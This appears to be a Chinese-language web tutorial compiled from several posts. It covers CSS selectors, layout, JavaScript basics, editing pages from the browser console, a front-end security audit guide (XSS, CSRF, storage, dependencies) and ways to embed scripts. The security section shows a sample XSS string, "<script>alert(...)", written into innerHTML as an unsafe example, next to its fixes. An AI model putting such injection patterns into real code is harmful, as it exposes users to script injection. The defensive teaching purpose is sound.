4
.myclass {
color: blue;
font-weight: bold;
}

HTML:

1
<p class="myclass">这是一个带类名的段落</p>

ID 选择器

ID 选择器通过元素的 id 属性选择,使用 # 符号。ID 选择器的优先级比类选择器高,但在页面中每个 ID 只能使用一次。

1
2
3
#header {
background-color: lightgrey;
}

HTML:

1
<div id="header">这是一个头部区域</div>

属性选择器

属性选择器根据 HTML 元素的属性值进行选择。语法如下:

1
2
3
input[type="text"] {
border: 1px solid #000;
}

该选择器会为所有 type="text"input 元素应用样式。

伪类选择器

伪类选择器用于选择元素的特定状态,例如当元素被悬停、点击或聚焦时。

  • **:hover**:鼠标悬停时应用样式。
  • **:focus**:元素获得焦点时应用样式。
1
2
3
4
5
6
7
a:hover {
color: red;
}

input:focus {
border-color: blue;
}

伪元素选择器

伪元素选择器用于选择元素的一部分,例如文本的第一个字母或行。

  • **::before**:在元素内容之前插入内容。
  • **::after**:在元素内容之后插入内容。
1
2
3
h1::before {
content: "🌟 ";
}

该代码会在所有 <h1> 元素前插入一个星星符号。


CSS 盒模型

盒模型介绍

CSS 中的每个元素都可以被看作一个盒子,CSS 盒模型描述了盒子的组成部分。盒模型包含以下四个部分:

  1. 内容(Content):显示文本或图像的实际区域。
  2. 填充(Padding):内容周围的空白区域。
  3. 边框(Border):环绕填充和内容的边界。
  4. 边距(Margin):元素与其他元素之间的距离。

盒模型图解:

1
2
3
4
5
6
7
8
9
+----------------------+
| Margin |
+----------------------+
| Border |
+----------------------+
| Padding |
+----------------------+
| Content |
+----------------------+

边距(Margin)

margin 用于设置元素与其他元素之间的外部间距。

1
2
3
p {
margin: 20px;
}

你还可以分别为上下左右边距设置不同的值:

1
2
3
4
5
6
p {
margin-top: 10px;
margin-right: 15px;
margin-bottom: 20px;
margin-left: 25px;
}

填充(Padding)

padding 用于设置内容与边框之间的内部填充空间。

1
2
3
div {
padding: 10px;
}

同样可以分别设置四个方向的填充:

1
2
3
div {
padding: 10px 15px 20px 25px; /* 上,右,下,左 */
}

边框(Border)

border 用于设置元素的边框。

1
2
3
div {
border: 1px solid black;
}
  • 边框的厚度、样式和颜色可以通过 border-width, border-style, border-color 进行单独设置。
1
2
3
4
5
div {
border-width: 2px;
border-style: dashed;
border-color: red;
}

CSS 布局

块级元素与行内元素

  • 块级元素(如 <div>, <p>):占据一整行,多个块级元素会自动换行。
  • 行内元素(如 <span>, <a>):只占据内容的宽度,多个行内元素会排在一行中。

浮动布局(Float)

float 属性用于让元素左右浮动,从而实现简单的布局。

1
2
3
4
5
div {
float: left;
width: 200px;
margin: 10px;
}

多个浮动元素可以左右排列,浮动布局常用于图片排版和简单的列布局。

弹性盒模型(Flexbox)

`flexbox

` 是现代布局的强大工具,用于创建灵活的响应式布局。

1
2
3
4
5
.container {
display: flex;
justify-content: space-between; /* 主轴对齐方式 */
align-items: center; /* 交叉轴对齐方式 */
}
  • display: flex 将容器设为弹性盒容器。
  • justify-contentalign-items 控制子元素在主轴和交叉轴上的对齐方式。

网格布局(Grid)

grid 是另一个用于复杂布局的 CSS 工具,允许你创建二维的网格布局。

1
2
3
4
5
.container {
display: grid;
grid-template-columns: 1fr 1fr 1fr; /* 创建三列等宽布局 */
gap: 10px; /* 设置网格间距 */
}

grid-template-columns 定义列的布局,gap 定义网格项之间的间距。


常见 CSS 属性

文本样式

  • **color**:设置文本颜色。
  • **font-size**:设置字体大小。
  • **font-family**:设置字体。
  • **text-align**:设置文本对齐方式。
1
2
3
4
5
6
p {
color: blue;
font-size: 16px;
font-family: Arial, sans-serif;
text-align: center;
}

背景样式

  • **background-color**:设置元素的背景颜色。
  • **background-image**:设置背景图片。
  • **background-position**:设置背景图片的位置。
1
2
3
4
5
body {
background-color: lightgrey;
background-image: url('background.jpg');
background-position: center;
}

显示与可见性

  • **display**:控制元素的显示方式。
    • display: block:设置元素为块级元素。
    • display: inline:设置元素为行内元素。
    • display: none:隐藏元素,不占据空间。
  • **visibility**:设置元素的可见性。
    • visibility: hidden:隐藏元素,但保留空间。
1
2
3
4
5
6
7
div {
display: none;
}

p {
visibility: hidden;
}

CSS 动画与过渡

CSS 提供了简单的方式来创建动画效果和过渡效果。

  • 过渡(Transition):元素属性在一段时间内平滑变化。
1
2
3
4
5
6
7
8
button {
background-color: blue;
transition: background-color 0.5s; /* 过渡时间 0.5 秒 */
}

button:hover {
background-color: red;
}

当鼠标悬停时,按钮背景颜色会在 0.5 秒内平滑过渡到红色。

  • 动画:定义关键帧动画。
1
2
3
4
5
6
7
8
@keyframes example {
from {background-color: red;}
to {background-color: yellow;}
}

div {
animation: example 2s infinite;
}

该动画会让背景颜色从红色逐渐变为黄色,并持续重复。


响应式设计

响应式设计让网页能够适配不同设备的屏幕尺寸,如手机、平板、桌面显示器。

媒体查询

媒体查询可以根据设备的屏幕大小,应用不同的样式。

1
2
3
4
5
@media (max-width: 600px) {
body {
background-color: lightblue;
}
}

当屏幕宽度小于 600 像素时,背景颜色会变成浅蓝色。


CSS 优化技巧

  1. 合并样式:将相似的样式合并,减少重复代码。
  2. 减少嵌套:尽量减少选择器嵌套的层次,以提高可读性和性能。
  3. 使用类选择器:避免过度依赖 ID 选择器,类选择器的复用性更强。
  4. 使用外部样式表:将 CSS 放在外部文件中,减少 HTML 文件的大小。

JavaScript 详尽入门与指南

目录

  1. JavaScript 基础
  2. 数据类型
  3. 变量与作用域
  4. 控制流
  5. 函数
  6. 事件处理
  7. 对象与面向对象编程
  8. 异步 JavaScript
  9. JavaScript 与 DOM
  10. 高级概念
  11. 调试与错误处理

JavaScript 基础

JavaScript 简介

JavaScript 是一门动态的、基于事件驱动的编程语言,主要用于开发网页的客户端交互逻辑。它可以操作文档对象模型(DOM),实现用户点击、表单提交等交互操作。


在网页中引入 JavaScript

你可以通过以下方式将 JavaScript 添加到 HTML 页面中:

  1. 内联 JavaScript:将 JavaScript 代码直接嵌入到 HTML 元素的 onclick 等事件属性中。

    1
    <button onclick="alert('Hello World!')">点击我</button>
  2. 内部脚本:将 JavaScript 代码放在 <script> 标签中,位于 HTML 文档的 <head><body> 中。

    1
    2
    3
    <script>
    console.log('Hello, JavaScript!');
    </script>
  3. 外部脚本:将 JavaScript 代码放在外部文件中,通过 <script> 标签引用。

    1
    <script src="scripts.js"></script>

JavaScript 语法

JavaScript 的基础语法包括:

  • 区分大小写myVariablemyvariable 是两个不同的变量。
  • 语句结束符:每条 JavaScript 语句可以用分号(;)结束。
  • 注释:单行注释用 //,多行注释用 /* */

数据类型

JavaScript 中的数据类型分为 原始类型对象类型

原始类型

  • Number:表示数字,如整数和浮点数。

    1
    2
    let age = 25;
    let price = 19.99;
  • String:表示字符串,使用单引号或双引号。

    1
    let name = 'Alice';
  • Boolean:布尔值,只有两个取值:truefalse

    1
    let isOpen = true;
  • null:表示空值,通常用于表示“无”。

    1
    let car = null;
  • undefined:表示变量已声明但未赋值。

    1
    let car;
  • Symbol:表示唯一的标识符(较高级的使用场景)。

对象类型

对象是属性的集合,用来存储键值对。每个属性有一个名字(键)和一个对应的值。

1
2
3
4
5
6
7
let person = {
name: 'Alice',
age: 30,
greet: function() {
console.log('Hello, ' + this.name);
}
};

变量与作用域

变量声明

在 JavaScript 中,可以使用三种方式声明变量:varletconst

  • varvar 是 JavaScript 中传统的变量声明方式,变量有函数作用域(但没有块作用域),并存在变量提升的问题。

    1
    var x = 10;
  • letlet 是 ES6 中引入的,用来声明块作用域变量,能有效避免变量提升和重复声明问题。

    1
    let y = 20;
  • constconst 声明常量,赋值后不能重新赋值。

    1
    const z = 30;

作用域与闭包

  • 全局作用域:在函数外声明的变量具有全局作用域,所有地方都可以访问。
  • 函数作用域:在函数内部声明的变量只能在函数内部访问。
  • 块作用域letconst 声明的变量具有块作用域,适用于 {} 包围的任意代码块。
1
2
3
4
if (true) {
let message = "Hello!";
}
console.log(message); // 报错,message 不在作用域内

控制流

条件语句

JavaScript 支持 if...elseswitch 语句,用于实现条件判断。

1
2
3
4
5
6
7
let age = 20;

if (age >= 18) {
console.log("成年人");
} else {
console.log("未成年");
}

循环语句

常见的循环结构有 forwhiledo...while

1
2
3
for (let i = 0; i < 5; i++) {
console.log(i);
}

函数

函数声明

函数是 JavaScript 的核心概念,函数用于执行特定的任务或计算某些值。

1
2
3
4
5
function greet(name) {
return 'Hello, ' + name;
}

console.log(greet('Alice')); // 输出 "Hello, Alice"

箭头函数

箭头函数是 ES6 中引入的一种更简洁的函数表达方式,尤其适用于回调函数和匿名函数。

1
2
3
4
5
let greet = (name) => {
return 'Hello, ' + name;
};

console.log(greet('Bob'));

当函数体只有一个表达式时,return 可以省略:

1
let greet = name => 'Hello, ' + name;

事件处理

JavaScript 是基于事件驱动的语言,可以响应用户的各种交互,如点击、输入等。

1
2
3
4
5
6
7
8
<button id="myButton">点击我</button>

<script>
let button = document.getElementById('myButton');
button.addEventListener('click', function() {
alert('按钮被点击了!');
});
</script>

对象与面向对象编程

JavaScript 是面向对象的语言,所有东西几乎都是对象。对象是属性和方法的集合。

创建对象

对象可以通过对象字面量、构造函数和 class 关键字创建。

  1. 对象字面量

    1
    2
    3
    4
    5
    6
    7
    let person = {
    name: 'Alice',
    age: 30,
    greet() {
    console.log('Hello, I am ' + this.name);
    }
    };
  2. 构造函数

    1
    2
    3
    4
    5
    6
    function Person(name, age) {
    this.name = name;
    this.age = age;
    }

    let person1 = new Person('Bob', 25);
  3. Class(类)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    class Person {
    constructor(name, age) {
    this.name = name;
    this.age = age;
    }
    greet() {
    console.log('Hello, ' + this.name);
    }
    }

    let person2 = new Person('Charlie', 35);

异步编程与事件循环的详细审计

JavaScript 是单线程的,通过异步机制来处理非阻塞任务。异步编程是JavaScript编程中的重要部分。

  1. 事件循环的运行机制:

    • 事件循环负责处理任务队列(如定时器、I/O 操作等),JavaScript引擎会持续检查任务队列并执行其中的任务。异步任务(如setTimeoutPromiseasync/await)会被放入任务队列,等到主线程空闲时执行。

      代码示例

      1
      2
      3
      4
      5
      6
      js复制代码console.log("Start");
      setTimeout(() => {
      console.log("Timeout callback");
      }, 1000);
      console.log("End");
      // 输出顺序:Start -> End -> Timeout callback

      审计重点:检查代码中的异步操作是否正确地处理了回调、Promise 的状态转换(resolved/rejected),并确保异步操作不会阻塞主线程(如大量 DOM 操作和复杂计算在异步回调中执行)。

  2. Promiseasync/await的正确使用:

    • Promise 是处理异步任务的核心对象,通过then链式调用来处理成功和失败的情况。而async/awaitPromise的语法糖,便于书写和理解。

    • 审查代码中是否使用了适当的错误处理机制,如在await前的异步调用没有使用try-catch捕获异常,可能导致错误不被处理。

      代码示例

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      js复制代码// 不推荐:没有处理 Promise 的异常情况
      async function fetchData() {
      const response = await fetch('/api/data');
      const data = await response.json();
      console.log(data);
      }

      // 推荐:使用 try-catch 捕获异常
      async function fetchDataWithHandling() {
      try {
      const response = await fetch('/api/data');
      const data = await response.json();
      console.log(data);
      } catch (error) {
      console.error('Fetch error: ', error);
      }
      }

      审计重点:检查异步操作是否妥善处理了异常情况,避免应用程序在发生错误时崩溃。

修改变量和函数

1.1 修改变量的值

在控制台中,你可以直接修改已经声明的全局变量或局部变量的值。这种操作会立即生效,但仅限当前会话,刷新页面后会恢复初始状态。

步骤:

  1. 打开控制台(按 F12Ctrl + Shift + I)。
  2. 在控制台中找到你想修改的变量,直接输入代码修改它的值。

示例:

1
2
3
4
html复制代码<script>
var message = "Hello, World!";
console.log(message); // 输出 "Hello, World!"
</script>

在控制台中输入以下代码来修改变量值:

1
2
javascript复制代码message = "Hello, Console!";
console.log(message); // 输出 "Hello, Console!"

1.2 修改函数的行为

你可以重定义页面中的现有函数,从而修改其行为。控制台中的函数修改也只会在当前页面有效,刷新后恢复原始状态。

步骤:

  1. 打开控制台。
  2. 通过重写函数来改变其行为。

示例:

1
2
3
4
5
6
html复制代码<script>
function greet() {
console.log("Hello from original function!");
}
greet(); // 输出 "Hello from original function!"
</script>

现在在控制台中输入以下代码重定义函数:

1
2
3
4
javascript复制代码greet = function() {
console.log("Hello from modified function!");
};
greet(); // 输出 "Hello from modified function!"

二、修改 DOM 元素

控制台允许你动态操作页面的 DOM 元素,修改元素的内容、属性和样式。这是前端开发和调试中非常常用的功能。

2.1 修改元素的内容

你可以选择页面上的任何 DOM 元素,并通过控制台修改它的内容。

步骤:

  1. 在控制台中输入 document.querySelector 来选择页面元素。
  2. 使用 .textContent.innerHTML 来修改元素的内容。

示例:

1
2
3
html
复制代码
<h1 id="heading">Original Heading</h1>

在控制台中输入以下代码来修改标题内容:

1
2
3
javascript
复制代码
document.querySelector('#heading').textContent = 'Modified Heading';

2.2 修改元素的样式

你也可以直接通过控制台修改 HTML 元素的样式,来测试视觉效果。

步骤:

  1. 通过控制台选择页面元素。
  2. 使用 .style 来修改元素的内联样式。

示例:

1
2
3
html
复制代码
<p id="paragraph">This is a paragraph.</p>

在控制台中输入以下代码来修改段落的颜色和字体大小:

1
2
3
javascript复制代码let paragraph = document.querySelector('#paragraph');
paragraph.style.color = 'red';
paragraph.style.fontSize = '24px';

2.3 添加和删除 DOM 元素

除了修改已有的 DOM 元素外,你还可以通过控制台添加或删除元素。

步骤:

  1. 使用 document.createElement 创建新元素。
  2. 使用 appendChildremoveChild 来添加或删除元素。

示例: 在控制台中添加一个新的 div 元素到页面:

1
2
3
javascript复制代码let newDiv = document.createElement('div');
newDiv.textContent = 'This is a new div!';
document.body.appendChild(newDiv);

要删除该元素:

1
2
3
javascript
复制代码
document.body.removeChild(newDiv);

三、调试 JavaScript 代码

控制台不仅可以修改代码,还可以帮助你调试页面中的 JavaScript。常用的方法包括:

  1. 插入断点:你可以在代码执行的特定位置插入断点,并通过控制台监控变量的值和代码的执行流程。
  2. 使用 console.log 追踪变量:通过在控制台中输出变量值,来追踪代码的执行和状态。

3.1 插入 console.log 进行调试

在控制台中你可以插入调试代码,比如console.log,来查看函数中的变量或输出信息,调试过程中常用。

步骤:

  1. 在控制台中运行代码,监控某些关键变量。
  2. 使用 console.log() 输出信息。

示例:

1
2
3
4
5
6
html复制代码<script>
function calculateSum(a, b) {
let sum = a + b;
return sum;
}
</script>

在控制台中修改代码并添加调试信息:

1
2
3
4
5
6
javascript复制代码function calculateSum(a, b) {
let sum = a + b;
console.log('The sum is:', sum); // 输出 sum 值
return sum;
}
calculateSum(5, 10); // 控制台中输出 "The sum is: 15"

3.2 插入断点调试

通过 Chrome DevTools,你可以在 Sources 面板中为 JavaScript 文件设置断点,并通过控制台查看变量的状态,调试流程如下:

  1. 打开 DevTools,点击 Sources 面板。
  2. 打开包含 JavaScript 代码的文件。
  3. 点击行号设置断点。
  4. 刷新页面或触发代码执行,程序将在断点处暂停,此时可以在控制台中检查变量值。

四、临时注入新代码

你可以在控制台中临时注入新代码,比如为按钮添加新的点击事件,修改页面的交互逻辑。

4.1 添加事件监听器

步骤:

  1. 使用 addEventListener 为页面中的元素添加事件。
  2. 在控制台中注入该代码,点击按钮时会执行新添加的事件处理程序。

示例:

1
2
3
html
复制代码
<button id="myButton">Click Me</button>

在控制台中为按钮添加点击事件:

1
2
3
javascript复制代码document.querySelector('#myButton').addEventListener('click', function() {
alert('Button clicked!');
});

点击按钮时,将弹出一个提示框。

五、查看和修改 JavaScript 对象

在控制台中可以查看 JavaScript 对象的详细信息,并动态修改对象的属性和方法。

5.1 查看对象的结构

使用 console.dir() 来查看 JavaScript 对象的详细结构。

步骤:

  1. 在控制台中使用 console.dir()
  2. 通过点击展开查看对象的所有属性和方法。

示例:

1
2
javascript复制代码let person = { name: 'Alice', age: 25, job: 'Developer' };
console.dir(person);

5.2 修改对象属性

你可以通过控制台直接修改对象的属性。

步骤:

  1. 通过控制台访问对象并修改其属性。
  2. 查看修改后的效果。

示例:

1
2
javascript复制代码person.age = 30;
console.log(person); // 输出 {name: 'Alice', age: 30, job: 'Developer'}

六、临时修改网页中的 JavaScript 逻辑

如果你想要临时修改网页中的 JavaScript 逻辑,可以通过在控制台中添加新的代码块来实现。

6.1 注入新的逻辑

你可以动态注入一段新的 JavaScript 代码来改变网页的行为,测试特定功能或行为。

示例:

假设页面有一个提交按钮,你想在提交之前增加额外的检查,可以这样做:

1
2
3
4
5
6
7
javascript复制代码let submitButton = document.querySelector('#submitButton');
submitButton.addEventListener('click', function(event) {
if (!document.querySelector('#checkbox').checked) {
event.preventDefault(); // 阻止提交
alert('You must agree to the terms!');
}
});

总结

在控制台中,你可以动态修改 JavaScript 代码、DOM 元素、事件处理程序以及对象属性。这种修改只在当前页面加载周期内有效,刷新页面后会恢复为原始状态。控制台提供了极大的灵活性,可以帮助你调试、测试和临时修改网页行为,同时也可以用于开发过程中快速验证想法。

JavaScript 的安全性审计是确保应用程序不会因为 JavaScript 的漏洞或不当使用而遭受攻击的关键环节。Web 应用程序的安全性很大程度上依赖于前端 JavaScript 代码的安全性,因为它直接与用户交互,同时处理输入、发起请求,并控制页面逻辑。通过安全性审计,可以发现潜在的安全漏洞,如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)、点击劫持、代码注入等。

在 JavaScript 安全性审计中,主要从输入验证、安全编码实践、库和依赖的审计、前端存储和网络请求安全性等方面进行。以下将详细讲述如何对 JavaScript 代码进行全面的安全性审计。


一、输入验证

JavaScript 的输入验证是审计的首要环节,因为不可信的用户输入是攻击的最常见来源。前端的输入验证应被视为第一道防线,但不能依赖其完全阻止攻击,后端必须同样严格验证输入。前端的输入验证主要用于提升用户体验、减少不必要的请求。

1.1 前端输入验证检查

  1. 缺失或不当的验证逻辑:

    • 确保所有输入数据,包括表单、URL 参数、AJAX 请求、用户交互的文件或图片等,都进行了初步的验证。
    • 检查是否有输入长度限制、字符类型限制(如仅接受数字或字母)、必填项等。
  2. 防止脚本注入:

    • 防止用户通过输入恶意脚本来进行代码注入(如 XSS 攻击)。特别是<script>标签或类似的代码应被严格过滤。

    示例:

    1
    2
    3
    4
    5
    6
    // 不安全的处理方式:直接在页面中显示用户输入的内容
    let userInput = "<script>alert('XSS Attack');</script>";
    document.body.innerHTML = userInput; // XSS 攻击

    // 安全的做法:使用 textContent 插入纯文本,避免 XSS
    document.body.textContent = userInput;
  3. 使用正则表达式进行输入过滤:

    • 使用正则表达式对输入进行有效性检查,但确保正则表达式足够安全,不会引发拒绝服务攻击(ReDoS),即恶意用户通过构造复杂输入触发正则表达式的性能问题,导致服务器响应过慢甚至崩溃。

    示例:

    1
    2
    3
    4
    function validateInput(input) {
    const regex = /^[a-zA-Z0-9]+$/; // 仅允许字母和数字
    return regex.test(input);
    }
  4. 防止HTML实体注入:

    • 不允许用户在输入中插入 HTML 标签、实体等。可以使用库对输入进行 HTML 实体编码或过滤(例如DOMPurify)。

二、跨站脚本攻击 (XSS) 防护

XSS 攻击是一种最常见的 Web 攻击类型,攻击者通过注入恶意 JavaScript 脚本,在其他用户的浏览器上执行。攻击者通常利用不安全的输入处理,将恶意代码注入到页面中,以窃取敏感信息(如 cookie、会话令牌)、劫持用户账户等。

2.1 XSS 的类型

  1. 存储型 XSS

    • 恶意脚本被存储在服务器端数据库中,每次当用户访问相关页面时,脚本会被执行。例如,攻击者通过留言板插入恶意脚本,当其他用户查看时,脚本执行。
  2. 反射型 XSS

    • 恶意脚本被即时执行,通常嵌入在 URL 中。例如,通过欺骗用户点击一个恶意链接,该链接包含了攻击者的 JavaScript 代码,该代码会在用户浏览器中执行。
  3. DOM 型 XSS

    • 攻击者利用不安全的 JavaScript 操作来修改页面的 DOM 树,使恶意代码被注入并执行。这种攻击发生在客户端,无需与服务器交互。

2.2 XSS 防护措施

  1. **避免直接使用 innerHTMLdocument.write()**:

    • 避免直接将不可信的输入插入 DOM。应使用更安全的 textContentinnerText,将用户输入作为纯文本插入,而不是作为 HTML。

    不安全的示例:

    1
    2
    let userComment = "<script>alert('XSS');</script>";
    document.body.innerHTML = userComment; // 可能导致XSS

    安全的替代方式:

    1
    document.body.textContent = userComment;  // 安全
  2. 使用可信的库进行转义

    • 使用库如 DOMPurify 对用户生成的内容进行清理和过滤,确保在插入 DOM 时已经移除了可能的恶意代码。
    • 对所有输入都进行 HTML 转义,避免特殊字符(如 <>)被解释为 HTML 代码。

    示例:

    1
    2
    let sanitizedInput = DOMPurify.sanitize(userInput);
    document.body.innerHTML = sanitizedInput;
  3. CSP(内容安全策略)

    • 内容安全策略(CSP)是一种有效的 XSS 防护机制,它允许服务器指定浏览器只加载和执行来自可信源的 JavaScript 代码。通过设置严格的 CSP 头,可以防止页面加载和执行恶意脚本。

    示例:

    1
    Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self';

三、跨站请求伪造 (CSRF) 防护

CSRF 是一种攻击手法,攻击者通过伪造受害者的身份,发送未经授权的请求。攻击的本质是利用了受害者的认证状态(如登录会话、Cookie),在未经用户同意的情况下,执行恶意操作。

3.1 CSRF 攻击的防护措施

  1. CSRF 令牌

    • 每次用户发送请求时,服务器生成一个随机的 CSRF 令牌,并将其包含在表单或 AJAX 请求中。服务器验证该令牌的合法性,防止攻击者伪造请求。
    • 在 JavaScript 中,确保请求时将 CSRF 令牌包含在请求的头部或表单中。

    示例:

    1
    2
    3
    4
    5
    6
    7
    8
    fetch("/api/submit", {
    method: "POST",
    headers: {
    "Content-Type": "application/json",
    "CSRF-Token": csrfToken // 包含CSRF令牌
    },
    body: JSON.stringify({ data: "user data" })
    });
  2. 双重 Cookie 防护

    • 一种常见的策略是使用双重 Cookie:一个是标准的会话 Cookie,另一个是 HTTP 头中发送的 CSRF 令牌。这种方式可以确保请求必须来自合法的用户端。

四、前端存储的安全性

Web 应用中前端存储的数据(如 LocalStorageSessionStorage)也存在安全隐患,尤其是处理敏感数据时,需要特别小心。因为前端存储的数据是可以被浏览器中的任何脚本读取的。

4.1 避免存储敏感数据

  1. 敏感数据不应存储在 LocalStorage 或 SessionStorage

    • 不要将敏感信息(如用户的登录凭证、密码、令牌等)直接存储在 LocalStorageSessionStorage 中,因为它们对 JavaScript 代码完全公开,任何脚本(包括 XSS)都可以访问这些存储数据。
    • 如果需要使用会话令牌,应该存储在 Cookie 中,并使用 HttpOnlySecure 标志,确保 JavaScript 无法访问,且只在 HTTPS 连接中传输。
  2. 加密存储

    • 对存储的数据进行加密,即使攻击者能够读取存储的内容,也无法轻易解密这些信息。
    • 但应注意,前端的加密密钥也不能存储在客户端代码中,因为这样会暴露给潜在的攻击者。

五、网络请求的安全性

JavaScript 通常用于发起网络请求(如 AJAX、Fetch API 等),因此请求的安全性也是审计的重点。确保数据传输的安全,防止网络层面上的攻击。

5.1 HTTPS 加密通信

  1. 确保所有请求都通过 HTTPS 进行传输

    • 通过 HTTPS 可以确保数据在客户端和服务器之间的传输是加密的,防止中间人攻击(MITM)。
    • 在 JavaScript 中,确保请求的 URL 都是 HTTPS 地址,而不是 HTTP。
  2. **验证服务器

的 SSL 证书**:

  • 如果网站没有正确配置 SSL 证书,浏览器会提醒用户连接不安全,导致信任问题。应确保服务器配置了有效的 SSL 证书,且不会过期。

5.2 防止 API 滥用和 CSRF

  1. 使用适当的身份验证和授权机制

    • 通过令牌(如 JWT 或 OAuth)进行身份验证,并确保每个请求都带有合法的身份验证令牌。
  2. 限制请求来源

    • 使用 CORS(跨域资源共享)头,指定哪些域名可以合法访问 API。确保服务器只接受来自可信域的请求,防止恶意网站滥用 API。

    示例:

    1
    Access-Control-Allow-Origin: https://trusted-domain.com;

六、依赖和第三方库的安全性

JavaScript 项目中使用第三方库时,必须确保这些库是安全的,因为它们可能包含漏洞或恶意代码。

6.1 审查和更新依赖库

  1. 定期更新第三方库

    • 使用 npm audit 或类似工具,定期检查项目中是否存在安全漏洞。更新到最新的稳定版本,以修补已知的安全问题。

    示例:

    1
    npm audit fix
  2. 使用受信任的库源

    • 只从可信赖的源下载和安装库。避免使用来源不明的库,防止供应链攻击(供应链攻击是指攻击者通过修改合法软件包的代码来传播恶意软件)。
  3. 移除未使用的依赖

    • 不使用的库和代码可能成为潜在的安全隐患。定期清理项目,确保只保留必要的依赖项。

七、前端代码的混淆与保护

前端代码是完全公开的,任何用户都可以查看源码。因此,在某些敏感应用场景下,应考虑对前端 JavaScript 代码进行混淆,增加反向工程的难度。

7.1 代码混淆和压缩

  1. 使用工具混淆代码

    • 使用工具如 UglifyJS 或 Terser 来压缩和混淆 JavaScript 代码,使其难以被理解。这可以防止一些低水平的攻击者直接查看代码逻辑。
  2. 谨慎使用敏感数据

    • 即便进行了混淆,敏感逻辑或数据仍然不应该放置在前端代码中。应确保所有敏感逻辑尽可能放置在后端服务器上执行。

将 JavaScript 嵌入 HTML 有多种方式,每种方式都适用于不同的场景,具体的选择取决于代码的大小、复用需求以及性能优化的考虑。以下是将 JavaScript 嵌入 HTML 的几种主要方式,以及它们的用法和适用场景。

1. 内联 JavaScript

内联 JavaScript 是将 JavaScript 代码直接嵌入到 HTML 标签的 script 元素中。这种方法简单直观,适用于少量的脚本代码。

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Inline JavaScript Example</title>
</head>
<body>
<h1>Hello, World!</h1>

<script>
// 这是内联 JavaScript 代码
console.log('This is an inline JavaScript script.');
</script>
</body>
</html>

适用场景:

  • 当 JavaScript 代码量较少时,例如一个简单的交互。
  • 临时或快速测试小功能的场景。

注意事项:

  • 可维护性差:如果代码量较大,内联代码会使 HTML 文件难以维护和阅读。
  • 安全性问题:由于代码直接嵌入到 HTML 中,容易受到跨站脚本攻击(XSS)。应该谨慎使用,避免直接插入用户输入数据。

2. 外部 JavaScript 文件

外部 JavaScript 是将 JavaScript 代码放在单独的文件中,并通过 <script> 标签引入。这种方式有利于代码的复用、管理和维护。

用法:

首先,创建一个外部 JavaScript 文件,如 script.js,并编写代码:

script.js 文件:

1
2
// 这是一个外部 JavaScript 文件
console.log('This script is from an external JavaScript file.');

然后,在 HTML 中引入该外部文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>External JavaScript Example</title>
<!-- 引入外部 JavaScript 文件 -->
<script src="script.js"></script>
</head>
<body>
<h1>Hello, External Script!</h1>
</body>
</html>

适用场景:

  • 当 JavaScript 代码量较大时,或需要多个页面共享相同的 JavaScript 代码时。
  • 外部文件更易于版本控制、团队协作和性能优化(例如浏览器缓存 JavaScript 文件)。

注意事项:

  • 文件加载顺序:外部脚本在默认情况下是同步加载的,这意味着 HTML 的解析会等待 JavaScript 文件的加载和执行完成。在大文件或网络较慢时,这会影响页面加载速度。可以通过 asyncdefer 属性来优化加载。

3. 异步与延迟加载 JavaScript(async 和 defer)

为了优化页面加载性能,外部 JavaScript 文件可以使用 asyncdefer 属性,这两个属性控制脚本的加载和执行时机。

3.1 async 属性

async 会让脚本文件异步加载,加载完成后立即执行。这意味着脚本的执行顺序可能与 HTML 的加载顺序不一致。

用法:

1
<script src="script.js" async></script>

特点:

  • 脚本与 HTML 并行加载,且脚本在加载完后立即执行。
  • 适用于不会依赖 DOM 的独立脚本,比如分析工具、广告代码等。

3.2 defer 属性

defer 属性也让脚本文件异步加载,但它保证脚本在 HTML 文档完全解析后才会执行,且按顺序执行。

用法:

1
<script src="script.js" defer></script>

特点:

  • defer 保证脚本按顺序执行,且不会阻塞 HTML 的解析。
  • 适用于依赖 DOM 的 JavaScript 文件。

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Defer and Async Example</title>
<script src="script1.js" async></script>
<script src="script2.js" defer></script>
</head>
<body>
<h1>Async vs Defer</h1>
</body>
</html>

4. 事件属性中的 JavaScript

JavaScript 代码还可以直接嵌入到 HTML 元素的事件属性中(如 onclickonchange 等)。这种方式直接将 JavaScript 写入元素的属性值中,常用于处理简单的事件响应。

用法:

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Event Attribute Example</title>
</head>
<body>
<button onclick="alert('Button clicked!')">Click Me!</button>
</body>
</html>

适用场景:

  • 适用于简单的事件处理,比如按钮点击时弹出提示框。
  • 快速实现小的交互功能。

注意事项:

  • 可维护性差:将 JavaScript 直接写在 HTML 中会使得代码难以维护,尤其是在复杂应用中,事件处理应通过外部脚本或事件监听器完成。
  • 安全性问题:与内联 JavaScript 类似,容易导致 XSS 攻击。

5. 模块化 JavaScript (<script type="module">)

ES6 引入了模块系统,可以通过 <script type="module"> 来加载 JavaScript 模块文件。这种方式让开发者能够使用模块化的代码组织方式,从而更好地管理大型项目的依赖。

用法:

首先,创建一个模块文件 module.js

module.js 文件:

1
2
3
export function greet() {
console.log('Hello from the module!');
}

然后,在 HTML 中引入模块并使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JavaScript Modules Example</title>
<script type="module">
import { greet } from './module.js';
greet();
</script>
</head>
<body>
<h1>JavaScript Modules</h1>
</body>
</html>

适用场景:

  • 适合大型应用程序,能够以模块化的方式组织代码。
  • 允许使用 ES6 的 importexport,便于依赖管理。

注意事项:

  • 浏览器支持:现代浏览器都支持 <script type="module">,但在旧浏览器中可能不兼容。
  • 严格模式:模块文件中默认使用严格模式(strict mode),这会带来更严格的语法检查。

